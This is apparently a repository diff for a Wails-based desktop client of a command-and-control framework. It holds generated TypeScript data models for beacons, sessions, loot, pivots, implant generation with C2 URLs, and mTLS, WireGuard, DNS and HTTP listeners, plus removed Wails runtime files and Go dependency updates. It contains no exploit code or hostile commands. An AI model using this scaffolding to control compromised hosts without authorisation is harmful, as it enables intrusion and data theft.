if ('string' === typeof source) source = JSON.parse(source);
this.id = source["id"];
this.state = source["state"];
this.description = source["description"];
this.createdAt = source["createdAt"];
this.completedAt = source["completedAt"];
this.response = source["response"];
}
}
export class BeaconView {
id: string;
name: string;
hostname: string;
username: string;
os: string;
arch: string;
transport: string;
remoteAddress: string;
pid: number;
interval: number;
jitter: number;
lastCheckin: string;
nextCheckin: string;
isDead: boolean;
static createFrom(source: any = {}) {
return new BeaconView(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.id = source["id"];
this.name = source["name"];
this.hostname = source["hostname"];
this.username = source["username"];
this.os = source["os"];
this.arch = source["arch"];
this.transport = source["transport"];
this.remoteAddress = source["remoteAddress"];
this.pid = source["pid"];
this.interval = source["interval"];
this.jitter = source["jitter"];
this.lastCheckin = source["lastCheckin"];
this.nextCheckin = source["nextCheckin"];
this.isDead = source["isDead"];
}
}
export class BuildView {
name: string;
goos: string;
goarch: string;
format: string;
debug: boolean;
c2Urls: string[];
static createFrom(source: any = {}) {
return new BuildView(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.name = source["name"];
this.goos = source["goos"];
this.goarch = source["goarch"];
this.format = source["format"];
this.debug = source["debug"];
this.c2Urls = source["c2Urls"];
}
}
export class C2ProfileView {
name: string;
static createFrom(source: any = {}) {
return new C2ProfileView(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.name = source["name"];
}
}
export class ConnectResult {
connected: boolean;
operatorName: string;
teamserver: string;
error?: string;
static createFrom(source: any = {}) {
return new ConnectResult(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.connected = source["connected"];
this.operatorName = source["operatorName"];
this.teamserver = source["teamserver"];
this.error = source["error"];
}
}
export class EnvVar {
key: string;
value: string;
static createFrom(source: any = {}) {
return new EnvVar(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.key = source["key"];
this.value = source["value"];
}
}
export class ExecResult {
stdout: string;
stderr: string;
status: number;
error?: string;
static createFrom(source: any = {}) {
return new ExecResult(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.stdout = source["stdout"];
this.stderr = source["stderr"];
this.status = source["status"];
this.error = source["error"];
}
}
export class FileInfo {
name: string;
isDir: boolean;
size: number;
mode: string;
static createFrom(source: any = {}) {
return new FileInfo(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.name = source["name"];
this.isDir = source["isDir"];
this.size = source["size"];
this.mode = source["mode"];
}
}
export class GenerateRequest {
name: string;
goos: string;
goarch: string;
format: string;
c2Url: string;
debug: boolean;
beacon: boolean;
interval: number;
jitter: number;
static createFrom(source: any = {}) {
return new GenerateRequest(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.name = source["name"];
this.goos = source["goos"];
this.goarch = source["goarch"];
this.format = source["format"];
this.c2Url = source["c2Url"];
this.debug = source["debug"];
this.beacon = source["beacon"];
this.interval = source["interval"];
this.jitter = source["jitter"];
}
}
export class GenerateResult {
file: string;
error?: string;
static createFrom(source: any = {}) {
return new GenerateResult(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.file = source["file"];
this.error = source["error"];
}
}
export class JobView {
id: number;
name: string;
protocol: string;
port: number;
static createFrom(source: any = {}) {
return new JobView(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.id = source["id"];
this.name = source["name"];
this.protocol = source["protocol"];
this.port = source["port"];
}
}
export class LootView {
id: string;
name: string;
type: string;
static createFrom(source: any = {}) {
return new LootView(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.id = source["id"];
this.name = source["name"];
this.type = source["type"];
}
}
export class LsResult {
path: string;
files: FileInfo[];
error?: string;
static createFrom(source: any = {}) {
return new LsResult(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.path = source["path"];
this.files = this.convertValues(source["files"], FileInfo);
this.error = source["error"];
}
convertValues(a: any, classs: any, asMap: boolean = false): any {
if (!a) {
return a;
}
if (a.slice && a.map) {
return (a as any[]).map(elem => this.convertValues(elem, classs));
} else if ("object" === typeof a) {
if (asMap) {
for (const key of Object.keys(a)) {
a[key] = new classs(a[key]);
}
return a;
}
return new classs(a);
}
return a;
}
}
export class NetInterfaceView {
name: string;
mac: string;
ips: string[];
static createFrom(source: any = {}) {
return new NetInterfaceView(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.name = source["name"];
this.mac = source["mac"];
this.ips = source["ips"];
}
}
export class NetstatEntry {
localAddr: string;
remoteAddr: string;
protocol: string;
state: string;
pid: number;
process: string;
static createFrom(source: any = {}) {
return new NetstatEntry(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.localAddr = source["localAddr"];
this.remoteAddr = source["remoteAddr"];
this.protocol = source["protocol"];
this.state = source["state"];
this.pid = source["pid"];
this.process = source["process"];
}
}
export class OperatorView {
name: string;
online: boolean;
static createFrom(source: any = {}) {
return new OperatorView(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.name = source["name"];
this.online = source["online"];
}
}
export class PivotView {
id: string;
type: string;
bindAddress: string;
static createFrom(source: any = {}) {
return new PivotView(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.id = source["id"];
this.type = source["type"];
this.bindAddress = source["bindAddress"];
}
}
export class PortForwardView {
localPort: number;
remote: string;
static createFrom(source: any = {}) {
return new PortForwardView(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.localPort = source["localPort"];
this.remote = source["remote"];
}
}
export class PrivEntry {
name: string;
description: string;
enabled: boolean;
static createFrom(source: any = {}) {
return new PrivEntry(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.name = source["name"];
this.description = source["description"];
this.enabled = source["enabled"];
}
}
export class PrivsResult {
integrity: string;
processName: string;
privs: PrivEntry[];
static createFrom(source: any = {}) {
return new PrivsResult(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.integrity = source["integrity"];
this.processName = source["processName"];
this.privs = this.convertValues(source["privs"], PrivEntry);
}
convertValues(a: any, classs: any, asMap: boolean = false): any {
if (!a) {
return a;
}
if (a.slice && a.map) {
return (a as any[]).map(elem => this.convertValues(elem, classs));
} else if ("object" === typeof a) {
if (asMap) {
for (const key of Object.keys(a)) {
a[key] = new classs(a[key]);
}
return a;
}
return new classs(a);
}
return a;
}
}
export class ProcessView {
pid: number;
ppid: number;
executable: string;
owner: string;
arch: string;
cmdLine: string;
static createFrom(source: any = {}) {
return new ProcessView(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.pid = source["pid"];
this.ppid = source["ppid"];
this.executable = source["executable"];
this.owner = source["owner"];
this.arch = source["arch"];
this.cmdLine = source["cmdLine"];
}
}
export class ProfileView {
name: string;
goos: string;
goarch: string;
format: string;
c2Url: string;
debug: boolean;
beacon: boolean;
interval: number;
jitter: number;
static createFrom(source: any = {}) {
return new ProfileView(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.name = source["name"];
this.goos = source["goos"];
this.goarch = source["goarch"];
this.format = source["format"];
this.c2Url = source["c2Url"];
this.debug = source["debug"];
this.beacon = source["beacon"];
this.interval = source["interval"];
this.jitter = source["jitter"];
}
}
export class RegistryValue {
name: string;
type: string;
value: string;
static createFrom(source: any = {}) {
return new RegistryValue(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.name = source["name"];
this.type = source["type"];
this.value = source["value"];
}
}
export class ServiceView {
name: string;
displayName: string;
status: string;
static createFrom(source: any = {}) {
return new ServiceView(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.name = source["name"];
this.displayName = source["displayName"];
this.status = source["status"];
}
}
export class SessionView {
id: string;
name: string;
hostname: string;
username: string;
os: string;
arch: string;
transport: string;
remoteAddress: string;
lastCheckin: string;
pid: number;
isDead: boolean;
static createFrom(source: any = {}) {
return new SessionView(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.id = source["id"];
this.name = source["name"];
this.hostname = source["hostname"];
this.username = source["username"];
this.os = source["os"];
this.arch = source["arch"];
this.transport = source["transport"];
this.remoteAddress = source["remoteAddress"];
this.lastCheckin = source["lastCheckin"];
this.pid = source["pid"];
this.isDead = source["isDead"];
}
}
export class StartDNSReq {
domains: string[];
static createFrom(source: any = {}) {
return new StartDNSReq(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.domains = source["domains"];
}
}
export class StartHTTPReq {
host: string;
port: number;
secure: boolean;
static createFrom(source: any = {}) {
return new StartHTTPReq(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.host = source["host"];
this.port = source["port"];
this.secure = source["secure"];
}
}
export class StartMTLSReq {
host: string;
port: number;
static createFrom(source: any = {}) {
return new StartMTLSReq(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.host = source["host"];
this.port = source["port"];
}
}
export class StartWGReq {
port: number;
nPort: number;
keyPort: number;
static createFrom(source: any = {}) {
return new StartWGReq(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.port = source["port"];
this.nPort = source["nPort"];
this.keyPort = source["keyPort"];
}
}
export class TransferResult {
path: string;
bytes: number;
error?: string;
static createFrom(source: any = {}) {
return new TransferResult(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.path = source["path"];
this.bytes = source["bytes"];
this.error = source["error"];
}
}
export class VersionInfo {
major: number;
minor: number;
patch: number;
commit: string;
os: string;
arch: string;
compiled: string;
static createFrom(source: any = {}) {
return new VersionInfo(source);
}
constructor(source: any = {}) {
if ('string' === typeof source) source = JSON.parse(source);
this.major = source["major"];
this.minor = source["minor"];
this.patch = source["patch"];
this.commit = source["commit"];
this.os = source["os"];
this.arch = source["arch"];
this.compiled = source["compiled"];
}
}
}
-24
View File
@@ -1,24 +0,0 @@
{
"name": "@wailsapp/runtime",
"version": "2.0.0",
"description": "Wails Javascript runtime library",
"main": "runtime.js",
"types": "runtime.d.ts",
"scripts": {
},
"repository": {
"type": "git",
"url": "git+https://github.com/wailsapp/wails.git"
},
"keywords": [
"Wails",
"Javascript",
"Go"
],
"author": "Lea Anthony <lea.anthony@gmail.com>",
"license": "MIT",
"bugs": {
"url": "https://github.com/wailsapp/wails/issues"
},
"homepage": "https://github.com/wailsapp/wails#readme"
}
-330
View File
@@ -1,330 +0,0 @@
/*
_ __ _ __
| | / /___ _(_) /____
| | /| / / __ `/ / / ___/
| |/ |/ / /_/ / / (__ )
|__/|__/\__,_/_/_/____/
The electron alternative for Go
(c) Lea Anthony 2019-present
*/
export interface Position {
x: number;
y: number;
}
export interface Size {
w: number;
h: number;
}
export interface Screen {
isCurrent: boolean;
isPrimary: boolean;
width : number
height : number
}
// Environment information such as platform, buildtype, ...
export interface EnvironmentInfo {
buildType: string;
platform: string;
arch: string;
}
// [EventsEmit](https://wails.io/docs/reference/runtime/events#eventsemit)
// emits the given event. Optional data may be passed with the event.
// This will trigger any event listeners.
export function EventsEmit(eventName: string, ...data: any): void;
// [EventsOn](https://wails.io/docs/reference/runtime/events#eventson) sets up a listener for the given event name.
export function EventsOn(eventName: string, callback: (...data: any) => void): () => void;
// [EventsOnMultiple](https://wails.io/docs/reference/runtime/events#eventsonmultiple)
// sets up a listener for the given event name, but will only trigger a given number times.
export function EventsOnMultiple(eventName: string, callback: (...data: any) => void, maxCallbacks: number): () => void;
// [EventsOnce](https://wails.io/docs/reference/runtime/events#eventsonce)
// sets up a listener for the given event name, but will only trigger once.
export function EventsOnce(eventName: string, callback: (...data: any) => void): () => void;
// [EventsOff](https://wails.io/docs/reference/runtime/events#eventsoff)
// unregisters the listener for the given event name.
export function EventsOff(eventName: string, ...additionalEventNames: string[]): void;
// [EventsOffAll](https://wails.io/docs/reference/runtime/events#eventsoffall)
// unregisters all listeners.
export function EventsOffAll(): void;
// [LogPrint](https://wails.io/docs/reference/runtime/log#logprint)
// logs the given message as a raw message
export function LogPrint(message: string): void;
// [LogTrace](https://wails.io/docs/reference/runtime/log#logtrace)
// logs the given message at the `trace` log level.
export function LogTrace(message: string): void;
// [LogDebug](https://wails.io/docs/reference/runtime/log#logdebug)
// logs the given message at the `debug` log level.
export function LogDebug(message: string): void;
// [LogError](https://wails.io/docs/reference/runtime/log#logerror)
// logs the given message at the `error` log level.
export function LogError(message: string): void;
// [LogFatal](https://wails.io/docs/reference/runtime/log#logfatal)
// logs the given message at the `fatal` log level.
// The application will quit after calling this method.
export function LogFatal(message: string): void;
// [LogInfo](https://wails.io/docs/reference/runtime/log#loginfo)
// logs the given message at the `info` log level.
export function LogInfo(message: string): void;
// [LogWarning](https://wails.io/docs/reference/runtime/log#logwarning)
// logs the given message at the `warning` log level.
export function LogWarning(message: string): void;
// [WindowReload](https://wails.io/docs/reference/runtime/window#windowreload)
// Forces a reload by the main application as well as connected browsers.
export function WindowReload(): void;
// [WindowReloadApp](https://wails.io/docs/reference/runtime/window#windowreloadapp)
// Reloads the application frontend.
export function WindowReloadApp(): void;
// [WindowSetAlwaysOnTop](https://wails.io/docs/reference/runtime/window#windowsetalwaysontop)
// Sets the window AlwaysOnTop or not on top.
export function WindowSetAlwaysOnTop(b: boolean): void;
// [WindowSetSystemDefaultTheme](https://wails.io/docs/next/reference/runtime/window#windowsetsystemdefaulttheme)
// *Windows only*
// Sets window theme to system default (dark/light).
export function WindowSetSystemDefaultTheme(): void;
// [WindowSetLightTheme](https://wails.io/docs/next/reference/runtime/window#windowsetlighttheme)
// *Windows only*
// Sets window to light theme.
export function WindowSetLightTheme(): void;
// [WindowSetDarkTheme](https://wails.io/docs/next/reference/runtime/window#windowsetdarktheme)
// *Windows only*
// Sets window to dark theme.
export function WindowSetDarkTheme(): void;
// [WindowCenter](https://wails.io/docs/reference/runtime/window#windowcenter)
// Centers the window on the monitor the window is currently on.
export function WindowCenter(): void;
// [WindowSetTitle](https://wails.io/docs/reference/runtime/window#windowsettitle)
// Sets the text in the window title bar.
export function WindowSetTitle(title: string): void;
// [WindowFullscreen](https://wails.io/docs/reference/runtime/window#windowfullscreen)
// Makes the window full screen.
export function WindowFullscreen(): void;
// [WindowUnfullscreen](https://wails.io/docs/reference/runtime/window#windowunfullscreen)
// Restores the previous window dimensions and position prior to full screen.
export function WindowUnfullscreen(): void;
// [WindowIsFullscreen](https://wails.io/docs/reference/runtime/window#windowisfullscreen)
// Returns the state of the window, i.e. whether the window is in full screen mode or not.
export function WindowIsFullscreen(): Promise<boolean>;
// [WindowSetSize](https://wails.io/docs/reference/runtime/window#windowsetsize)
// Sets the width and height of the window.
export function WindowSetSize(width: number, height: number): void;
// [WindowGetSize](https://wails.io/docs/reference/runtime/window#windowgetsize)
// Gets the width and height of the window.
export function WindowGetSize(): Promise<Size>;
// [WindowSetMaxSize](https://wails.io/docs/reference/runtime/window#windowsetmaxsize)
// Sets the maximum window size. Will resize the window if the window is currently larger than the given dimensions.
// Setting a size of 0,0 will disable this constraint.
export function WindowSetMaxSize(width: number, height: number): void;
// [WindowSetMinSize](https://wails.io/docs/reference/runtime/window#windowsetminsize)
// Sets the minimum window size. Will resize the window if the window is currently smaller than the given dimensions.
// Setting a size of 0,0 will disable this constraint.
export function WindowSetMinSize(width: number, height: number): void;
// [WindowSetPosition](https://wails.io/docs/reference/runtime/window#windowsetposition)
// Sets the window position relative to the monitor the window is currently on.
export function WindowSetPosition(x: number, y: number): void;
// [WindowGetPosition](https://wails.io/docs/reference/runtime/window#windowgetposition)
// Gets the window position relative to the monitor the window is currently on.
export function WindowGetPosition(): Promise<Position>;
// [WindowHide](https://wails.io/docs/reference/runtime/window#windowhide)
// Hides the window.
export function WindowHide(): void;
// [WindowShow](https://wails.io/docs/reference/runtime/window#windowshow)
// Shows the window, if it is currently hidden.
export function WindowShow(): void;
// [WindowMaximise](https://wails.io/docs/reference/runtime/window#windowmaximise)
// Maximises the window to fill the screen.
export function WindowMaximise(): void;
// [WindowToggleMaximise](https://wails.io/docs/reference/runtime/window#windowtogglemaximise)
// Toggles between Maximised and UnMaximised.
export function WindowToggleMaximise(): void;
// [WindowUnmaximise](https://wails.io/docs/reference/runtime/window#windowunmaximise)
// Restores the window to the dimensions and position prior to maximising.
export function WindowUnmaximise(): void;
// [WindowIsMaximised](https://wails.io/docs/reference/runtime/window#windowismaximised)
// Returns the state of the window, i.e. whether the window is maximised or not.
export function WindowIsMaximised(): Promise<boolean>;
// [WindowMinimise](https://wails.io/docs/reference/runtime/window#windowminimise)
// Minimises the window.
export function WindowMinimise(): void;
// [WindowUnminimise](https://wails.io/docs/reference/runtime/window#windowunminimise)
// Restores the window to the dimensions and position prior to minimising.
export function WindowUnminimise(): void;
// [WindowIsMinimised](https://wails.io/docs/reference/runtime/window#windowisminimised)
// Returns the state of the window, i.e. whether the window is minimised or not.
export function WindowIsMinimised(): Promise<boolean>;
// [WindowIsNormal](https://wails.io/docs/reference/runtime/window#windowisnormal)
// Returns the state of the window, i.e. whether the window is normal or not.
export function WindowIsNormal(): Promise<boolean>;
// [WindowSetBackgroundColour](https://wails.io/docs/reference/runtime/window#windowsetbackgroundcolour)
// Sets the background colour of the window to the given RGBA colour definition. This colour will show through for all transparent pixels.
export function WindowSetBackgroundColour(R: number, G: number, B: number, A: number): void;
// [ScreenGetAll](https://wails.io/docs/reference/runtime/window#screengetall)
// Gets the all screens. Call this anew each time you want to refresh data from the underlying windowing system.
export function ScreenGetAll(): Promise<Screen[]>;
// [BrowserOpenURL](https://wails.io/docs/reference/runtime/browser#browseropenurl)
// Opens the given URL in the system browser.
export function BrowserOpenURL(url: string): void;
// [Environment](https://wails.io/docs/reference/runtime/intro#environment)
// Returns information about the environment
export function Environment(): Promise<EnvironmentInfo>;
// [Quit](https://wails.io/docs/reference/runtime/intro#quit)
// Quits the application.
export function Quit(): void;
// [Hide](https://wails.io/docs/reference/runtime/intro#hide)
// Hides the application.
export function Hide(): void;
// [Show](https://wails.io/docs/reference/runtime/intro#show)
// Shows the application.
export function Show(): void;
// [ClipboardGetText](https://wails.io/docs/reference/runtime/clipboard#clipboardgettext)
// Returns the current text stored on clipboard
export function ClipboardGetText(): Promise<string>;
// [ClipboardSetText](https://wails.io/docs/reference/runtime/clipboard#clipboardsettext)
// Sets a text on the clipboard
export function ClipboardSetText(text: string): Promise<boolean>;
// [OnFileDrop](https://wails.io/docs/reference/runtime/draganddrop#onfiledrop)
// OnFileDrop listens to drag and drop events and calls the callback with the coordinates of the drop and an array of path strings.
export function OnFileDrop(callback: (x: number, y: number ,paths: string[]) => void, useDropTarget: boolean) :void
// [OnFileDropOff](https://wails.io/docs/reference/runtime/draganddrop#dragandddropoff)
// OnFileDropOff removes the drag and drop listeners and handlers.
export function OnFileDropOff() :void
// Check if the file path resolver is available
export function CanResolveFilePaths(): boolean;
// Resolves file paths for an array of files
export function ResolveFilePaths(files: File[]): void
// Notification types
export interface NotificationOptions {
id: string;
title: string;
subtitle?: string; // macOS and Linux only
body?: string;
categoryId?: string;
data?: { [key: string]: any };
}
export interface NotificationAction {
id?: string;
title?: string;
destructive?: boolean; // macOS-specific
}
export interface NotificationCategory {
id?: string;
actions?: NotificationAction[];
hasReplyField?: boolean;
replyPlaceholder?: string;
replyButtonTitle?: string;
}
// [InitializeNotifications](https://wails.io/docs/reference/runtime/notification#initializenotifications)
// Initializes the notification service for the application.
// This must be called before sending any notifications.
export function InitializeNotifications(): Promise<void>;
// [CleanupNotifications](https://wails.io/docs/reference/runtime/notification#cleanupnotifications)
// Cleans up notification resources and releases any held connections.
export function CleanupNotifications(): Promise<void>;
// [IsNotificationAvailable](https://wails.io/docs/reference/runtime/notification#isnotificationavailable)
// Checks if notifications are available on the current platform.
export function IsNotificationAvailable(): Promise<boolean>;
// [RequestNotificationAuthorization](https://wails.io/docs/reference/runtime/notification#requestnotificationauthorization)
// Requests notification authorization from the user (macOS only).
export function RequestNotificationAuthorization(): Promise<boolean>;
// [CheckNotificationAuthorization](https://wails.io/docs/reference/runtime/notification#checknotificationauthorization)
// Checks the current notification authorization status (macOS only).
export function CheckNotificationAuthorization(): Promise<boolean>;
// [SendNotification](https://wails.io/docs/reference/runtime/notification#sendnotification)
// Sends a basic notification with the given options.
export function SendNotification(options: NotificationOptions): Promise<void>;
// [SendNotificationWithActions](https://wails.io/docs/reference/runtime/notification#sendnotificationwithactions)
// Sends a notification with action buttons. Requires a registered category.
export function SendNotificationWithActions(options: NotificationOptions): Promise<void>;
// [RegisterNotificationCategory](https://wails.io/docs/reference/runtime/notification#registernotificationcategory)
// Registers a notification category that can be used with SendNotificationWithActions.
export function RegisterNotificationCategory(category: NotificationCategory): Promise<void>;
// [RemoveNotificationCategory](https://wails.io/docs/reference/runtime/notification#removenotificationcategory)
// Removes a previously registered notification category.
export function RemoveNotificationCategory(categoryId: string): Promise<void>;
// [RemoveAllPendingNotifications](https://wails.io/docs/reference/runtime/notification#removeallpendingnotifications)
// Removes all pending notifications from the notification center.
export function RemoveAllPendingNotifications(): Promise<void>;
// [RemovePendingNotification](https://wails.io/docs/reference/runtime/notification#removependingnotification)
// Removes a specific pending notification by its identifier.
export function RemovePendingNotification(identifier: string): Promise<void>;
// [RemoveAllDeliveredNotifications](https://wails.io/docs/reference/runtime/notification#removealldeliverednotifications)
// Removes all delivered notifications from the notification center.
export function RemoveAllDeliveredNotifications(): Promise<void>;
// [RemoveDeliveredNotification](https://wails.io/docs/reference/runtime/notification#removedeliverednotification)
// Removes a specific delivered notification by its identifier.
export function RemoveDeliveredNotification(identifier: string): Promise<void>;
// [RemoveNotification](https://wails.io/docs/reference/runtime/notification#removenotification)
// Removes a notification by its identifier (cross-platform convenience function).
export function RemoveNotification(identifier: string): Promise<void>;
-298
View File
@@ -1,298 +0,0 @@
/*
_ __ _ __
| | / /___ _(_) /____
| | /| / / __ `/ / / ___/
| |/ |/ / /_/ / / (__ )
|__/|__/\__,_/_/_/____/
The electron alternative for Go
(c) Lea Anthony 2019-present
*/
export function LogPrint(message) {
window.runtime.LogPrint(message);
}
export function LogTrace(message) {
window.runtime.LogTrace(message);
}
export function LogDebug(message) {
window.runtime.LogDebug(message);
}
export function LogInfo(message) {
window.runtime.LogInfo(message);
}
export function LogWarning(message) {
window.runtime.LogWarning(message);
}
export function LogError(message) {
window.runtime.LogError(message);
}
export function LogFatal(message) {
window.runtime.LogFatal(message);
}
export function EventsOnMultiple(eventName, callback, maxCallbacks) {
return window.runtime.EventsOnMultiple(eventName, callback, maxCallbacks);
}
export function EventsOn(eventName, callback) {
return EventsOnMultiple(eventName, callback, -1);
}
export function EventsOff(eventName, ...additionalEventNames) {
return window.runtime.EventsOff(eventName, ...additionalEventNames);
}
export function EventsOffAll() {
return window.runtime.EventsOffAll();
}
export function EventsOnce(eventName, callback) {
return EventsOnMultiple(eventName, callback, 1);
}
export function EventsEmit(eventName) {
let args = [eventName].slice.call(arguments);
return window.runtime.EventsEmit.apply(null, args);
}
export function WindowReload() {
window.runtime.WindowReload();
}
export function WindowReloadApp() {
window.runtime.WindowReloadApp();
}
export function WindowSetAlwaysOnTop(b) {
window.runtime.WindowSetAlwaysOnTop(b);
}
export function WindowSetSystemDefaultTheme() {
window.runtime.WindowSetSystemDefaultTheme();
}
export function WindowSetLightTheme() {
window.runtime.WindowSetLightTheme();
}
export function WindowSetDarkTheme() {
window.runtime.WindowSetDarkTheme();
}
export function WindowCenter() {
window.runtime.WindowCenter();
}
export function WindowSetTitle(title) {
window.runtime.WindowSetTitle(title);
}
export function WindowFullscreen() {
window.runtime.WindowFullscreen();
}
export function WindowUnfullscreen() {
window.runtime.WindowUnfullscreen();
}
export function WindowIsFullscreen() {
return window.runtime.WindowIsFullscreen();
}
export function WindowGetSize() {
return window.runtime.WindowGetSize();
}
export function WindowSetSize(width, height) {
window.runtime.WindowSetSize(width, height);
}
export function WindowSetMaxSize(width, height) {
window.runtime.WindowSetMaxSize(width, height);
}
export function WindowSetMinSize(width, height) {
window.runtime.WindowSetMinSize(width, height);
}
export function WindowSetPosition(x, y) {
window.runtime.WindowSetPosition(x, y);
}
export function WindowGetPosition() {
return window.runtime.WindowGetPosition();
}
export function WindowHide() {
window.runtime.WindowHide();
}
export function WindowShow() {
window.runtime.WindowShow();
}
export function WindowMaximise() {
window.runtime.WindowMaximise();
}
export function WindowToggleMaximise() {
window.runtime.WindowToggleMaximise();
}
export function WindowUnmaximise() {
window.runtime.WindowUnmaximise();
}
export function WindowIsMaximised() {
return window.runtime.WindowIsMaximised();
}
export function WindowMinimise() {
window.runtime.WindowMinimise();
}
export function WindowUnminimise() {
window.runtime.WindowUnminimise();
}
export function WindowSetBackgroundColour(R, G, B, A) {
window.runtime.WindowSetBackgroundColour(R, G, B, A);
}
export function ScreenGetAll() {
return window.runtime.ScreenGetAll();
}
export function WindowIsMinimised() {
return window.runtime.WindowIsMinimised();
}
export function WindowIsNormal() {
return window.runtime.WindowIsNormal();
}
export function BrowserOpenURL(url) {
window.runtime.BrowserOpenURL(url);
}
export function Environment() {
return window.runtime.Environment();
}
export function Quit() {
window.runtime.Quit();
}
export function Hide() {
window.runtime.Hide();
}
export function Show() {
window.runtime.Show();
}
export function ClipboardGetText() {
return window.runtime.ClipboardGetText();
}
export function ClipboardSetText(text) {
return window.runtime.ClipboardSetText(text);
}
/**
* Callback for OnFileDrop returns a slice of file path strings when a drop is finished.
*
* @export
* @callback OnFileDropCallback
* @param {number} x - x coordinate of the drop
* @param {number} y - y coordinate of the drop
* @param {string[]} paths - A list of file paths.
*/
/**
* OnFileDrop listens to drag and drop events and calls the callback with the coordinates of the drop and an array of path strings.
*
* @export
* @param {OnFileDropCallback} callback - Callback for OnFileDrop returns a slice of file path strings when a drop is finished.
* @param {boolean} [useDropTarget=true] - Only call the callback when the drop finished on an element that has the drop target style. (--wails-drop-target)
*/
export function OnFileDrop(callback, useDropTarget) {
return window.runtime.OnFileDrop(callback, useDropTarget);
}
/**
* OnFileDropOff removes the drag and drop listeners and handlers.
*/
export function OnFileDropOff() {
return window.runtime.OnFileDropOff();
}
export function CanResolveFilePaths() {
return window.runtime.CanResolveFilePaths();
}
export function ResolveFilePaths(files) {
return window.runtime.ResolveFilePaths(files);
}
export function InitializeNotifications() {
return window.runtime.InitializeNotifications();
}
export function CleanupNotifications() {
return window.runtime.CleanupNotifications();
}
export function IsNotificationAvailable() {
return window.runtime.IsNotificationAvailable();
}
export function RequestNotificationAuthorization() {
return window.runtime.RequestNotificationAuthorization();
}
export function CheckNotificationAuthorization() {
return window.runtime.CheckNotificationAuthorization();
}
export function SendNotification(options) {
return window.runtime.SendNotification(options);
}
export function SendNotificationWithActions(options) {
return window.runtime.SendNotificationWithActions(options);
}
export function RegisterNotificationCategory(category) {
return window.runtime.RegisterNotificationCategory(category);
}
export function RemoveNotificationCategory(categoryId) {
return window.runtime.RemoveNotificationCategory(categoryId);
}
export function RemoveAllPendingNotifications() {
return window.runtime.RemoveAllPendingNotifications();
}
export function RemovePendingNotification(identifier) {
return window.runtime.RemovePendingNotification(identifier);
}
export function RemoveAllDeliveredNotifications() {
return window.runtime.RemoveAllDeliveredNotifications();
}
export function RemoveDeliveredNotification(identifier) {
return window.runtime.RemoveDeliveredNotification(identifier);
}
export function RemoveNotification(identifier) {
return window.runtime.RemoveNotification(identifier);
}
+1
View File
@@ -37,6 +37,7 @@ require (
golang.org/x/net v0.48.0 // indirect
golang.org/x/sys v0.41.0 // indirect
golang.org/x/text v0.32.0 // indirect
golang.org/x/time v0.14.0 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20251202230838-ff82c1b0f217 // indirect
)
+2
View File
@@ -111,6 +111,8 @@ golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9sn
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.32.0 h1:ZD01bjUt1FQ9WJ0ClOL5vxgxOI/sVCNgX1YtKwcY0mU=
golang.org/x/text v0.32.0/go.mod h1:o/rUWzghvpD5TXrTIBuJU77MTaN0ljMWE47kxGJQ7jY=
golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=
golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
gonum.org/v1/gonum v0.16.0 h1:5+ul4Swaf3ESvrOnidPp4GZbzf0mxVQpDCYUQE7OJfk=
gonum.org/v1/gonum v0.16.0/go.mod h1:fef3am4MQ93R2HHpKnLk4/Tbh/s0+wqD5nfa6Pnwy4E=
Binary file not shown.
Executable
BIN
View File
Binary file not shown.
Executable
BIN
View File
Binary file not shown.